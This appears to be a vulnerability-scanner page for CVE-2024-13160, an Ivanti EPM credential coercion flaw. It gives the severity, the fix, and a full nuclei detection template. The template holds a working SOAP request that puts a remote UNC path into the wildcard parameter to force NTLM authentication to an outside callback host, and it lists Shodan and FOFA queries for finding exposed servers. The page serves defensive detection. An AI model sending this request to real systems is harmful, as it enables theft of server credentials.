Ivanti EPM - Credential Coercion Vulnerability in GetHashForWildcard

Exploited in the wild. Listed by CISA on 2025-03-10; known to be used by ransomware.

criticalseverity

9.8CVSS score

91%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

A vulnerability in Ivanti Endpoint Manager (EPM) allows an unauthenticated attacker to coerce the EPM machine account credential via the GetHashForWildcard endpoint. The vulnerability exists due to improper input validation in the wildcard parameter, allowing an attacker to specify a remote UNC path that triggers NTLM authentication.

Impact

Unauthenticated attackers can coerce NTLM authentication from the EPM server via UNC paths, allowing credential theft through man-in-the-middle attacks.

Fix

Update Ivanti Endpoint Manager (EPM) to a patched version that addresses CVE-2024-13160.

How to confirm it

Send: POST /WSVulnerabilityCore/VulCore.asmx
Positive when: contains(interactsh_protocol, "dns") and contains(body, "<GetHashForWildcardResponse") and contains(content_type, "text/xml") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-13160 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-13160

info:
  name: Ivanti EPM - Credential Coercion Vulnerability in GetHashForWildcard
  author: ritikchaddha
  severity: critical
  description: |
    A vulnerability in Ivanti Endpoint Manager (EPM) allows an unauthenticated attacker to coerce the EPM machine account credential via the GetHashForWildcard endpoint. The vulnerability exists due to improper input validation in the wildcard parameter, allowing an attacker to specify a remote UNC path that triggers NTLM authentication.
  impact: |
    Unauthenticated attackers can coerce NTLM authentication from the EPM server via UNC paths, allowing credential theft through man-in-the-middle attacks.
  remediation: |
    Update Ivanti Endpoint Manager (EPM) to a patched version that addresses CVE-2024-13160.
  reference:
    - https://www.horizon3.ai/attack-research/attack-blogs/ivanti-endpoint-manager-multiple-credential-coercion-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13160
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-13160
    cwe-id: CWE-36
    epss-score: 0.90985
    epss-percentile: 0.99809
  metadata:
    max-request: 1
    shodan-query: http.favicon.hash:362091310
    fofa-query: icon_hash="362091310"
  tags: cve,cve2024,ivanti,epm,ntlm,traversal,kev,vkev,vuln

variables:
  file: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /WSVulnerabilityCore/VulCore.asmx HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: text/xml
        Soapaction: http://tempuri.org/GetHashForWildcard

        <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
            <soap:Body>
                <GetHashForWildcard xmlns="http://tempuri.org/">
                    <wildcard>\\{{interactsh-url}}\tmp\{{file}}.txt</wildcard>
                </GetHashForWildcard>
            </soap:Body>
        </soap:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(body, "<GetHashForWildcardResponse")'
          - 'contains(content_type, "text/xml")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from